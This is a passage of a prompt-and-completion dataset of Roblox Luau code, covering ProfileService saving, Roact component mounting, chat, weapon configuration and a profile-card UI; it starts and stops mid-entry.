then\n\t\tRegisterCorruption(\n\t\t\tprofile._profile_store._profile_store_name,\n\t\t\tprofile._profile_store._profile_store_scope,\n\t\t\tprofile._profile_key\n\t\t)\n\t\terror(\"[ProfileService]: PROFILE DATA CORRUPTED DURING RUNTIME! Profile: \" .. profile:Identify())\n\tend\n\tif release_from_session == true and is_overwriting ~= true then\n\t\tReleaseProfileInternally(profile)\n\tend\n\tActiveProfileSaveJobs = ActiveProfileSaveJobs + 1\n\tlocal last_session_load_count = profile.MetaData.SessionLoadCount\n\t-- Compare \"SessionLoadCount\" when writing to profile to prevent a rare case of repeat last save when the profile is loaded on the same server again\n\tlocal repeat_save_flag = true -- Released Profile save calls have to repeat until they succeed\n\twhile repeat_save_flag == true do\n\t\tif release_from_session ~= true then\n\t\t\trepeat_save_flag = false\n\t\tend\n\t\tlocal loaded_data, key_info = StandardProfileUpdateAsyncDataStore(\n\t\t\tprofile._profile_store,\n\t\t\tprofile._profile_key,\n\t\t\t{\n\t\t\t\tExistingProfileHandle = nil,\n\t\t\t\tMissingProfileHandle = nil,\n\t\t\t\tEditProfile = function(latest_data)\n\n\t\t\t\t\tlocal session_owns_profile = false\n\t\t\t\t\tlocal force_load_pending = false\n\n\t\t\t\t\tif is_overwriting ~= true then\n\t\t\t\t\t\t-- 1) Check if this session still owns the profile: --\n\t\t\t\t\t\tlocal active_session = latest_data.MetaData.ActiveSession\n\t\t\t\t\t\tlocal force_load_session = latest_data.MetaData.ForceLoadSession\n\t\t\t\t\t\tlocal session_load_count = latest_data.MetaData.SessionLoadCount\n\n\t\t\t\t\t\tif type(active_session) == \"table\" then\n\t\t\t\t\t\t\tsession_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif type(force_load_session) == \"table\" then\n\t\t\t\t\t\t\tforce_load_pending = not IsThisSession(force_load_session)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tsession_owns_profile = true\n\t\t\t\t\tend\n\n\t\t\t\t\tif session_owns_profile == true then -- We may only edit the profile if this session has ownership of the profile\n\n\t\t\t\t\t\tif is_overwriting ~= true then\n\t\t\t\t\t\t\t-- 2) Manage global updates: --\n\t\t\t\t\t\t\tlocal latest_global_updates_data = latest_data.GlobalUpdates -- {update_index, {{update_id, version_id, update_locked, update_data}, ...}}\n\t\t\t\t\t\t\tlocal latest_global_updates_list = latest_global_updates_data[2]\n\n\t\t\t\t\t\t\tlocal global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]\n\t\t\t\t\t\t\tlocal pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...}\n\t\t\t\t\t\t\tlocal pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...}\n\t\t\t\t\t\t\t-- Active update locking:\n\t\t\t\t\t\t\tfor i = 1, #latest_global_updates_list do\n\t\t\t\t\t\t\t\tfor _, lock_id in ipairs(pending_update_lock) do\n\t\t\t\t\t\t\t\t\tif latest_global_updates_list[i][1] == lock_id then\n\t\t\t\t\t\t\t\t\t\tlatest_global_updates_list[i][3] = true\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t-- Locked update clearing:\n\t\t\t\t\t\t\tfor _, clear_id in ipairs(pending_update_clear) do\n\t\t\t\t\t\t\t\tfor i = 1, #latest_global_updates_list do\n\t\t\t\t\t\t\t\t\tif latest_global_updates_list[i][1] == clear_id and latest_global_updates_list[i][3] == true then\n\t\t\t\t\t\t\t\t\t\ttable.remove(latest_global_updates_list, i)\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\t-- 3) Save profile data: --\n\t\t\t\t\t\tlatest_data.Data = profile.Data\n\t\t\t\t\t\tlatest_data.RobloxMetaData = profile.RobloxMetaData\n\t\t\t\t\t\tlatest_data.UserIds = profile.UserIds\n\n\t\t\t\t\t\tif is_overwriting ~= true then\n\t\t\t\t\t\t\tlatest_data.MetaData.MetaTags = profile.MetaData.MetaTags -- MetaData.MetaTags is the only actively savable component of MetaData\n\t\t\t\t\t\t\tlatest_data.MetaData.LastUpdate = os.time()\n\t\t\t\t\t\t\tif release_from_session == true or force_load_pending == true then\n\t\t\t\t\t\t\t\tlatest_data.MetaData.ActiveSession = nil\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tlatest_data.MetaData = profile.MetaData\n\t\t\t\t\t\t\tlatest_data.MetaData.ActiveSession = nil\n\t\t\t\t\t\t\tlatest_data.MetaData.ForceLoadSession = nil\n\t\t\t\t\t\t\tlatest_data.GlobalUpdates = profile.GlobalUpdates._updates_latest\n\t\t\t\t\t\tend\n\n\t\t\t\t\tend\n\t\t\t\tend,\n\t\t\t},\n\t\t\tprofile._is_user_mock\n\t\t)\n\t\tif loaded_data ~= nil and key_info ~= nil then\n\t\t\tif is_overwriting == true then\n\t\t\t\tbreak\n\t\t\tend\n\t\t\trepeat_save_flag = false\n\t\t\t-- 4) Set latest data in profile: --\n\t\t\t-- Updating DataStoreKeyInfo:\n\t\t\tprofile.KeyInfo = key_info\n\t\t\t-- Setting global updates:\n\t\t\tlocal global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]\n\t\t\tlocal old_global_updates_data = global_updates_object._updates_latest\n\t\t\tlocal new_global_updates_data = loaded_data.GlobalUpdates\n\t\t\tglobal_updates_object._updates_latest = new_global_updates_data\n\t\t\t-- Setting MetaData:\n\t\t\tlocal session_meta_data = profile.MetaData\n\t\t\tlocal latest_meta_data = loaded_data.MetaData\n\t\t\tfor key in pairs(SETTINGS.MetaTagsUpdatedValues) do\n\t\t\t\tsession_meta_data[key] = latest_meta_data[key]\n\t\t\tend\n\t\t\tsession_meta_data.MetaTagsLatest = latest_meta_data.MetaTags\n\t\t\t-- 5) Check if session still owns the profile: --\n\t\t\tlocal active_session = loaded_data.MetaData.ActiveSession\n\t\t\tlocal session_load_count = loaded_data.MetaData.SessionLoadCount\n\t\t\tlocal session_owns_profile = false\n\t\t\tif type(active_session) == \"table\" then\n\t\t\t\tsession_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count\n\t\t\tend\n\t\t\tlocal is_active = profile:IsActive()\n\t\t\tif session_owns_profile == true then\n\t\t\t\t-- 6) Check for new global updates: --\n\t\t\t\tif is_active == true then -- Profile could've been released before the saving thread finished\n\t\t\t\t\tCheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t-- Session no longer owns the profile:\n\t\t\t\t-- 7) Release profile if it hasn't been released yet: --\n\t\t\t\tif is_active == true then\n\t\t\t\t\tReleaseProfileInternally(profile)\n\t\t\t\tend\n\t\t\t\t-- Cleanup reference in custom write queue:\n\t\t\t\tCustomWriteQueueMarkForCleanup(profile._profile_store._profile_store_lookup, profile._profile_key)\n\t\t\t\t-- Hop ready listeners:\n\t\t\t\tif profile._hop_ready == false then\n\t\t\t\t\tprofile._hop_ready = true\n\t\t\t\t\tprofile._hop_ready_listeners:Fire()\n\t\t\t\tend\n\t\t\tend\n\t\t\t-- Signaling MetaTagsUpdated listeners after a possible external profile release was handled:\n\t\t\tprofile.MetaTagsUpdated:Fire(profile.MetaData.MetaTagsLatest)\n\t\t\t-- Signaling KeyInfoUpdated listeners:\n\t\t\tprofile.KeyInfoUpdated:Fire(key_info)\n\t\telseif repeat_save_flag == true then\n\t\t\ttask.wait() -- Prevent infinite loop in case DataStore API does not yield\n\t\tend\n\tend\n\tActiveProfileSaveJobs = ActiveProfileSaveJobs - 1\nend\n"} +{"prompt": "--[[\n\tAn internal method used by the reconciler to construct a new component\n\tinstance and attach it to the given virtualNode.\n]]", "completion": "\nfunction Component:__mount(reconciler, virtualNode)\n\tif config.internalTypeChecks then\n\t\tinternalAssert(Type.of(self) == Type.StatefulComponentClass, \"Invalid use of `__mount`\")\n\t\tinternalAssert(Type.of(virtualNode) == Type.VirtualNode, \"Expected arg #2 to be of type VirtualNode\")\n\tend\n\n\tlocal currentElement = virtualNode.currentElement\n\tlocal hostParent = virtualNode.hostParent\n\n\t-- Contains all the information that we want to keep from consumers of\n\t-- Roact, or even other parts of the codebase like the reconciler.\n\tlocal internalData = {\n\t\treconciler = reconciler,\n\t\tvirtualNode = virtualNode,\n\t\tcomponentClass = self,\n\t\tlifecyclePhase = ComponentLifecyclePhase.Init,\n\t}\n\n\tlocal instance = {\n\t\t[Type] = Type.StatefulComponentInstance,\n\t\t[InternalData] = internalData,\n\t}\n\n\tsetmetatable(instance, self)\n\n\tvirtualNode.instance = instance\n\n\tlocal props = currentElement.props\n\n\tif self.defaultProps ~= nil then\n\t\tprops = assign({}, self.defaultProps, props)\n\tend\n\n\tinstance:__validateProps(props)\n\n\tinstance.props = props\n\n\tlocal newContext = assign({}, virtualNode.legacyContext)\n\tinstance._context = newContext\n\n\tinstance.state = assign({}, instance:__getDerivedState(instance.props, {}))\n\n\tif instance.init ~= nil then\n\t\tinstance:init(instance.props)\n\t\tassign(instance.state, instance:__getDerivedState(instance.props, instance.state))\n\tend\n\n\t-- It's possible for init() to redefine _context!\n\tvirtualNode.legacyContext = instance._context\n\n\tinternalData.lifecyclePhase = ComponentLifecyclePhase.Render\n\tlocal renderResult = instance:render()\n\n\tinternalData.lifecyclePhase = ComponentLifecyclePhase.ReconcileChildren\n\treconciler.updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult)\n\n\tif instance.didMount ~= nil then\n\t\tinternalData.lifecyclePhase = ComponentLifecyclePhase.DidMount\n\t\tinstance:didMount()\n\tend\n\n\tif internalData.pendingState ~= nil then\n\t\t-- __update will handle pendingState, so we don't pass any new element or state\n\t\tinstance:__update(nil, nil)\n\tend\n\n\tinternalData.lifecyclePhase = ComponentLifecyclePhase.Idle\nend\n"} +{"prompt": "--///////////////////////// Constructors\n--//////////////////////////////////////", "completion": "\n\nfunction module.new(vChatService, name)\n\tlocal obj = setmetatable({}, methods)\n\n\tobj.ChatService = vChatService\n\n\tobj.PlayerObj = nil\n\n\tobj.Name = name\n\tobj.ExtraData = {}\n\n\tobj.Channels = {}\n\tobj.MutedSpeakers = {}\n\tobj.EventFolder = nil\n\n\treturn obj\nend\n\nreturn module\n"} +{"prompt": "-- If penetrate callback has to run more than this many times, it will register a hit and stop calculating penetrations.\n-- This only applies for repeated penetrations, e.g. the amount of parts that fit within the space of a single cast segment (NOT the whole bullet's trajectory over its entire lifetime)", "completion": "\nlocal MAX_PENETRATION_TEST_COUNT = 100\n"} +{"prompt": "--!strict", "completion": "\ntype Array = { [number]: T }\nlocal map = require(script.Parent.map)\n\nlocal function join(arr: Array, separator: string?): string\n\tif #arr == 0 then\n\t\treturn \"\"\n\tend\n\t-- JS does tostring conversion implicitely but in Lua we need to do that explicitely\n\tlocal stringifiedArray = map(arr, function(item)\n\t\treturn tostring(item)\n\tend)\n\n\treturn table.concat(stringifiedArray, separator or \",\")\nend\n\nreturn join\n"} +{"prompt": "--[[function CastLightRay(startPos,endPos,color,segLength,segSpeed,parts,effectfunc)\n\tlocal part, nend = game.Workspace:FindPartOnRay( Ray.new(startPos,(endPos-startPos).unit*999.999),Tool.Parent)\n\tif nend then endPos = nend end\n\t\n\tif part and part.Parent then\n\t\tif part.Parent:FindFirstChild('Humanoid') and part.Parent ~=Tool.Parent then\n\t\t\teffectfunc(part.Parent.Humanoid,(endPos-startPos).unit)\n\t\telseif part.Parent.Parent and part.Parent.Parent:FindFirstChild('Humanoid') and part.Parent.Parent~=Tool.Parent then\n\t\t\teffectfunc(part.Parent.Parent.Humanoid,(endPos-startPos).unit)\n\t\tend\n\tend\t\n\t\n\t\n\tlocal numSegments = math.floor(math.min((startPos-endPos).magnitude/segLength,50))\n\tlocal initNumParts = #parts\n\tfor i=numSegments,initNumParts,1 do\n\t\tif parts[i] then\n\t\t\tparts[i]:Destroy()\n\t\t\tparts[i]=nil\n\t\tend\n\tend\n\tfor i=1,numSegments,1 do\n\t\tif not parts[i] then\n\t\t\tparts[i] = Instance.new('Part')\n\t\t\tparts[i].Parent = Tool\n\t\t\tparts[i].Anchored = true\n\t\t\tparts[i].FormFactor = 'Custom'\n\t\t\tparts[i].Size = Vector3.new(0,0,segLength)\n\t\t\tparts[i].CanCollide = false\n\t\t\tlocal tlight = Instance.new('PointLight')\n\t\t\ttlight.Name = 'Light'\n\t\t\ttlight.Parent = parts[i]\n\t\t\t\n\t\tend\n\t\tparts[i].BrickColor = color\n\t\tparts[i]:WaitForChild('Light').Color = color.Color\n\t\tparts[i].Light.Range =((math.sin(tick()*3)+1)*1)+5\n\t\tparts[i].Light.Brightness =((math.sin(tick()*3)+1)*1)+1\n\n\t\tparts[i].CFrame = CFrame.new(((i-.4)*(endPos-startPos).unit*segLength)+startPos,endPos)\n\n\tend\n\t\n\treturn parts\nend]]", "completion": "\n"} +{"prompt": "--[ Main ]--", "completion": "\nwhile (StealthLava.Parent.Character == nil) do wait(1) end\nCrouch:Clone().Parent = StealthLava.Parent.Character\n"} +{"prompt": "--[[\nCreates a lower wall part.\n--]]", "completion": "\nlocal function CreateLowerWallPart(Size,CF,Parent)\n\treturn CreatePart(LOWER_WALL_COLOR,Size,CF,Parent)\nend\n"} +{"prompt": "--// Char Parts", "completion": "\nlocal Humanoid = Personagem:WaitForChild('Humanoid')\nlocal Head = Personagem:WaitForChild('Head')\nlocal Torso = Personagem:WaitForChild('Torso')\nlocal HumanoidRootPart = Personagem:WaitForChild('HumanoidRootPart')\nlocal RootJoint = HumanoidRootPart:WaitForChild('RootJoint')\nlocal Neck = Torso:WaitForChild('Neck')\nlocal Right_Shoulder = Torso:WaitForChild('Right Shoulder')\nlocal Left_Shoulder = Torso:WaitForChild('Left Shoulder')\nlocal Right_Hip = Torso:WaitForChild('Right Hip')\nlocal Left_Hip = Torso:WaitForChild('Left Hip')\n\nlocal Connections = {}\n\nlocal Debris = game:GetService(\"Debris\")\n\nlocal Ignore_Model = ACS_Storage:FindFirstChild(\"Server\")\n\nlocal BulletModel = ACS_Storage:FindFirstChild(\"Client\")\n\nlocal IgnoreList = {\"Ignorable\",\"Glass\"}\n\nlocal Ray_Ignore = {Character, Ignore_Model, Camera, BulletModel, IgnoreList}\n\n\nCamera.CameraType = Enum.CameraType.Custom\nCamera.CameraSubject = Humanoid\n"} +{"prompt": "--Insert new value", "completion": "\nfunction module:InsertStat(player, locationName, newValue)\n\tif main.pd[player][locationName] then\n\t\ttable.insert(main.pd[player][locationName], newValue)\n\t\tmain.pd[player].DataToUpdate = true\n\t\tmain.signals.InsertStat:FireClient(player, {locationName, newValue})\n\tend\nend\n"} +{"prompt": "--------------------------------------------------------------------------------------------------\n-- LOOKS FOR PARTS", "completion": "\nfunction FindParts(Item)\n\tfor _,i in pairs(Item:GetDescendants()) do\n\t\tlocal NoWeld = CheckIgnore(i)\n\t\tif NoWeld == false then\n\t\t\tif i:IsA(\"BasePart\") then\n\t\t\t\tweldit(script.Parent.MainParts.Engine,i)\n\t\t\tend\n\t\tend\n\tend\nend\nFindParts(script.Parent)\n\nfunction UnAnchor(Item)\n\tfor _,i in pairs(Item:GetDescendants()) do\n\t\tlocal NoWeld = CheckIgnore(i)\n\t\tif NoWeld == false then\n\t\t\tif i:IsA(\"BasePart\") then\n\t\t\t\ti.Anchored = false\n\t\t\tend\n\t\tend\n\tend\nend\nUnAnchor(script.Parent)\n"} +{"prompt": "-- Types that can be expressed as vectors of numbers, and so can be animated.", "completion": "\nexport type Animatable =\n\tnumber |\n\tCFrame |\n\tColor3 |\n\tColorSequenceKeypoint |\n\tDateTime |\n\tNumberRange |\n\tNumberSequenceKeypoint |\n\tPhysicalProperties |\n\tRay |\n\tRect |\n\tRegion3 |\n\tRegion3int16 |\n\tUDim |\n\tUDim2 |\n\tVector2 |\n\tVector2int16 |\n\tVector3 |\n\tVector3int16\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ CFRAME ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,EnableHolster = false\n\t,HolsterTo = 'Torso'\t\t\t\t -- Put the name of the body part you wanna holster to\n\t,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))\n\t\n\t,RightArmPos = CFrame.new(-.815, 0.55, -1.1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Server\n\t,LeftArmPos = CFrame.new(.815,0.55,-1.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))\t--server\n\t\n\t,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\n\t,GunPos = CFrame.new(0.3, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))\n\n\t,RightPos = CFrame.new(-.815, 0.15, -1.1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Client\n\t,LeftPos = CFrame.new(.815,0.15,-1.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))\t--Client\n}\n\nreturn Config\n\n"} +{"prompt": "-- Finds a visible player at a certain position relative to the camera, otherwise returns nil", "completion": "\nlocal function findSelectedPlayer(objectPosition, camera, playersService, maxClickDistance)\n\tif camera then\n\t\tlocal ray = camera:ScreenPointToRay(objectPosition.X, objectPosition.Y)\n\t\tlocal raycastResult = workspace:Raycast(ray.Origin, ray.Direction * maxClickDistance) -- sets the max click distance relative to camera\n\t\tif raycastResult then\n\t\t\tlocal hitPart = raycastResult.Instance\n\t\t\tlocal character = hitPart:FindFirstAncestorOfClass(\"Model\")\n\t\t\tif character then\n\t\t\t\t-- Prevents selection of an invisible character\n\t\t\t\tlocal isVisible = false\n\t\t\t\tlocal transparencyValues = {}\n\t\t\t\tfor _, descendant in pairs(character:GetDescendants()) do\n\t\t\t\t\tif descendant:IsA(\"BasePart\") or descendant:IsA(\"Decal\") then\n\t\t\t\t\t\ttable.insert(transparencyValues, descendant.Transparency)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t-- Check that all character parts are invisible (Transparency = 1)\n\t\t\t\tfor _, value in ipairs(transparencyValues) do\n\t\t\t\t\tif value == 0 then\n\t\t\t\t\t\tisVisible = true\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif isVisible then\n\t\t\t\t\tlocal targetPlayer = playersService:GetPlayerFromCharacter(character)\n\t\t\t\t\tif targetPlayer then\n\t\t\t\t\t\treturn targetPlayer\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn nil\nend\n\nProfileCard.defaultProps = {\n\tPlayers = game:GetService(\"Players\"),\n\tMainFrame = MainFrame,\n\tCamera = workspace.CurrentCamera,\n\tUpdateProfileRemoteFunction = script.Parent.Parent.RemoteEvents.UpdateProfileRemoteFunction,\n\tPulsePrompt = require(script.Parent.PulsePrompt),\n}\n\nlocal ViewTypes = {\n\tKeyboardView = Vector3.new(0, 6, 0),\n\tCenterView = Vector3.new(0, 1, 0),\n\tOriginalView = Vector3.new(0, 0, 0),\n}\n\nlocal gamepadInputs = {\n\tEnum.UserInputType.Gamepad1,\n\tEnum.UserInputType.Gamepad2,\n\tEnum.UserInputType.Gamepad3,\n\tEnum.UserInputType.Gamepad4,\n\tEnum.UserInputType.Gamepad5,\n\tEnum.UserInputType.Gamepad6,\n\tEnum.UserInputType.Gamepad7,\n\tEnum.UserInputType.Gamepad8,\n}\n\nfunction ProfileCard:init()\n\tself.state = {\n\t\tuserId = self.props.userId,\n\t\tisEditing = false,\n\t\tshowStatusError = false,\n\t\tshowPrompt = true,\n\t\tviewType = ViewTypes.OriginalView,\n\t\tactiveGamepad = false,\n\t\tadornee = nil\n\t}\n\n\tself.setHumanoidMovementEnabled = function(canMoveBool)\n\t\t-- Prevents character movement\n\t\tlocal LocalPlayer = self.props.Players.LocalPlayer\n\t\tlocal Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()\n\t\tlocal HumanoidRootPart = Character:WaitForChild(\"HumanoidRootPart\")\n\t\tif HumanoidRootPart then\n\t\t\tHumanoidRootPart.Anchored = not canMoveBool\n\t\tend\n\tend\n\n\tself.setKeyboardMovementEnabled = function(enabledBool)\n\t\t-- Prevents character movement and camera rotation\n\t\tif enabledBool then\n\t\t\tself.props.controls:Enable()\n\t\t\tContextActionService:BindActionAtPriority(\"RightMouseDisable\", function()\n\t\t\t\treturn Enum.ContextActionResult.Pass\n\t\t\tend, false, Enum.ContextActionPriority.Medium.Value, Enum.UserInputType.MouseButton2)\n\t\telse\n\t\t\tself.props.controls:Disable()\n\t\t\tContextActionService:BindActionAtPriority(\"RightMouseDisable\", function()\n\t\t\t\treturn Enum.ContextActionResult.Sink\n\t\t\tend, false, Enum.ContextActionPriority.Medium.Value, Enum.UserInputType.MouseButton2)\n\t\tend\n\tend\n\n\tself.getOtherGuis = function()\n\t\tlocal res = {}\n\t\tlocal playerGui = self.props.Players.LocalPlayer:FindFirstChild(\"PlayerGui\")\n\t\tif playerGui then\n\t\t\tfor _, instance in pairs(playerGui:GetDescendants()) do\n\t\t\t\tif\n\t\t\t\t\t(instance:IsA(\"ScreenGui\") or instance:IsA(\"BillboardGui\"))\n\t\t\t\t\tand not instance:GetAttribute(\"ShowInProfileCard\")\n\t\t\t\t\tand instance.Enabled\n\t\t\t\tthen\n\t\t\t\t\ttable.insert(res, instance)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\treturn res\n\tend\n\n\tself.getShownCoreGuis = function()\n\t\tlocal shownCoreGuis = Cryo.List.filter(Enum.CoreGuiType:GetEnumItems(), function(coreGuiType)\n\t\t\t-- The inclusion of these GUIs will cause the entire screen to flash after an edit to the ProfileCard is saved. Filtering out for now.\n\t\t\tif Enum.CoreGuiType.PlayerList == coreGuiType or Enum.CoreGuiType.All == coreGuiType then\n\t\t\t\treturn false\n\t\t\tend\n\n\t\t\treturn StarterGui:GetCoreGuiEnabled(coreGuiType)\n\t\tend)\n\t\treturn shownCoreGuis\n\tend\n\n\tself.hideGuis = function()\n\t\tif callbacks.hideOtherGuis.isCallbackSet() then\n\t\t\tcallbacks.hideOtherGuis.fireCallback()\n\t\t\treturn\n\t\tend\n\n\t\t-- Hide ScreenGuis\n\t\tself.disabledGuis = self.getOtherGuis()\n\t\tfor _, gui in ipairs(self.disabledGuis) do\n\t\t\tgui.Enabled = false\n\t\tend\n\n\t\t-- Hide CoreGuis\n\t\tself.disabledCoreGuis = self.getShownCoreGuis()\n\t\tfor _, gui in ipairs(self.disabledCoreGuis) do\n\t\t\tStarterGui:SetCoreGuiEnabled(gui, false)\n\t\tend\n\n\t\t-- Hide mobile controls\n\t\tself.modalEnabled = UserInputService.ModalEnabled\n\t\tUserInputService.ModalEnabled = true\n\tend\n\n\tself.showGuis = function()\n\t\tif callbacks.showOtherGuis.isCallbackSet() then\n\t\t\tcallbacks.showOtherGuis.fireCallback()\n\t\t\treturn\n\t\tend\n\n\t\t-- Show guis that were hidden by hideGuis()\n\t\tfor _, gui in ipairs(self.disabledGuis) do\n\t\t\tgui.Enabled = true\n\t\tend\n\t\tself.disabledGuis = {}\n\n\t\tfor _, gui in ipairs(self.disabledCoreGuis) do\n\t\t\tStarterGui:SetCoreGuiEnabled(gui, true)\n\t\tend\n\t\tself.disabledCoreGuis = {}\n\n\t\tUserInputService.ModalEnabled = self.modalEabled\n\tend\n\n\tself.toggleEdit = function(object)\n\t\tif not self.state.isEditing then\n\t\t\tself:setState({ isEditing = true })\n\t\t\tself.props.Camera.CameraType = Enum.CameraType.Scriptable\n\t\t\tself.hideGuis()\n\n\t\t\tif UserInputService.TouchEnabled then\n\t\t\t\tself:setState({ viewType = ViewTypes.CenterView })\n\t\t\tend\n\n\t\t\t-- Prevent character movement\n\t\t\tself.setHumanoidMovementEnabled(false)\n\t\t\tif UserInputService.KeyboardEnabled then\n\t\t\t\tself.setKeyboardMovementEnabled(false)\n\t\t\tend\n\t\telse\n\t\t\tlocal filteredTextTable = self.props.UpdateProfileRemoteFunction:InvokeServer(\n\t\t\t\tself.props.Players.LocalPlayer,\n\t\t\t\tobject.Parent.Status.Text\n\t\t\t)\n\n\t\t\tif filteredTextTable.success then\n\t\t\t\tself.showGuis()\n\t\t\t\tself:setState({ isEditing = false, showStatusError = false, viewType = ViewTypes.OriginalView })\n\t\t\t\tself.props.Camera.CameraType = Enum.CameraType.Custom\n\n\t\t\t\t-- Restore movement\n\t\t\t\tself.setHumanoidMovementEnabled(true)\n\t\t\t\tif UserInputService.KeyboardEnabled then\n\t\t\t\t\tself.setKeyboardMovementEnabled(true)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tself:setState({ showStatusError = true })\n\n\t\t\t\tif UserInputService.TouchEnabled then\n\t\t\t\t\tself:setState({ viewType = ViewTypes.CenterView })\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\tself.updateViewToKeyboard = function()\n\t\tself:setState({ viewType = ViewTypes.KeyboardView })\n\tend\n\n\tself.unmount = function()\n\t\tself:setState({ userId = Roact.None, isEditing = false })\n\tend\n\n\tself.onInputBegan = function(input, gameProcessedEvent)\n\t\tlocal isValidInput = input.UserInputType == Enum.UserInputType.MouseButton1\n\t\t\tor input.UserInputType == Enum.UserInputType.Touch\n\t\tif isValidInput and not self.state.isEditing and not gameProcessedEvent then\n\t\t\t-- Prevents opening a new profile card while editing; also prevents profile card from closing when interacting with engine related UI (eg. chat button)\n\t\t\tlocal inputPos = input.Position\n\t\t\tlocal playerGui = self.props.Players.LocalPlayer:WaitForChild(\"PlayerGui\")\n\t\t\tlocal profileCard = playerGui:FindFirstChild(\"ProfileCard\")\n\t\t\tlocal shouldUnmount = true\n\n\t\t\tif profileCard then\n\t\t\t\tlocal guis = playerGui:GetGuiObjectsAtPosition(inputPos.X, inputPos.Y)\n\t\t\t\tfor _, g in ipairs(guis) do\n\t\t\t\t\tlocal billboard = g:FindFirstAncestorOfClass(\"BillboardGui\")\n\t\t\t\t\tif billboard and billboard == profileCard then\n\t\t\t\t\t\tshouldUnmount = false\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif shouldUnmount then\n\t\t\t\tlocal player = findSelectedPlayer(\n\t\t\t\t\tinputPos,\n\t\t\t\t\tself.props.Camera,\n\t\t\t\t\tself.props.Players,\n\t\t\t\t\tself.props.configuration.maxClickDistance\n\t\t\t\t)\n\t\t\t\tif player then\n\t\t\t\t\t-- Opens a new profile card with the relevant player details\n\t\t\t\t\tself:setState({ userId = player.UserId, showPrompt = false, viewType = ViewTypes.OriginalView })\n\t\t\t\telse\n\t\t\t\t\t-- Hide an open profile card if input is not on the card itself\n\t\t\t\t\tself.unmount()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\tself.checkViewport = function(testPos)\n\t\tlocal _, inViewport = self.props.Camera:WorldToViewportPoint(testPos)\n\t\treturn inViewport\n\tend\n\n\tself.determineStudOffset = function(object)\n\t\tif not object then\n\t\t\treturn Vector3.new(0, 0, 0)\n\t\telseif self.state.viewType == ViewTypes.KeyboardView or self.state.viewType == ViewTypes.CenterView then\n\t\t\treturn self.state.viewType\n\t\tend\n\n\t\tlocal copyCFrame = object.CFrame\n\t\tlocal rightCFrame = copyCFrame + Vector3.new(Constants.STUD_OFFSET_X, 1, 0)\n\t\tlocal leftCFrame = copyCFrame + Vector3.new(-Constants.STUD_OFFSET_X, 1, 0)\n\t\tlocal studsOffsetVector = Vector3.new(0, 0, 0)\n\n\t\tif self.checkViewport(rightCFrame.Position) then\n\t\t\tstudsOffsetVector = Vector3.new(Constants.STUD_OFFSET_X, 1, 0)\n\t\telseif self.checkViewport(leftCFrame.Position) then\n\t\t\tstudsOffsetVector = Vector3.new(-Constants.STUD_OFFSET_X, 1, 0)\n\t\tend\n\n\t\tif self.state.viewType == ViewTypes.OriginalView then\n\t\t\tViewTypes.OriginalView = studsOffsetVector\n\t\tend\n\n\t\treturn studsOffsetVector\n\tend\n\n\tself.getAdornee = function(player)\n\t\tlocal adornee = player == self.props.Players.LocalPlayer and player.Character:FindFirstChild(\"HumanoidRootPart\")\n\t\t\tor Anchor.createAnchor(player, player.Character:FindFirstChild(\"HumanoidRootPart\").Position)\n\t\treturn adornee\n\tend\n\t\n\tself.profileCard = Roact.createRef()\nend\n\nfunction ProfileCard:render()\n\t-- Prevent gamepad interaction\n\tif table.find(gamepadInputs, UserInputService:GetLastInputType()) ~= nil or self.state.activeGamepad then\n\t\treturn\n\tend\n\n\tlocal Players = self.props.Players\n\tlocal player\n\n\tif self.state.userId then\n\t\tplayer = Players:GetPlayerByUserId(self.state.userId)\n\tend\n\n\treturn Roact.createFragment({\n\t\tRoact.createElement(ProfileCardContext.Provider, { userId = self.state.userId }, {\n\t\t\tProfileCard = player and Roact.createElement(\"BillboardGui\", {\n\t\t\t\tActive = true,\n\t\t\t\tSize = UDim2.new(0, Constants.GUI_SIZE_X, 0, Constants.GUI_SIZE_Y),\n\t\t\t\tAlwaysOnTop = self.props.configuration.alwaysOnTop,\n\t\t\t\tAdornee = self.getAdornee(player),\n\t\t\t\tStudsOffset = self.determineStudOffset(player.Character:FindFirstChild(\"HumanoidRootPart\")),\n\t\t\t\t\n\t\t\t\t[Roact.Ref] = self.profileCard,\n\t\t\t}, {\n\t\t\t\tMainFrame = Roact.createElement(self.props.MainFrame, {\n\t\t\t\t\tcontrols = 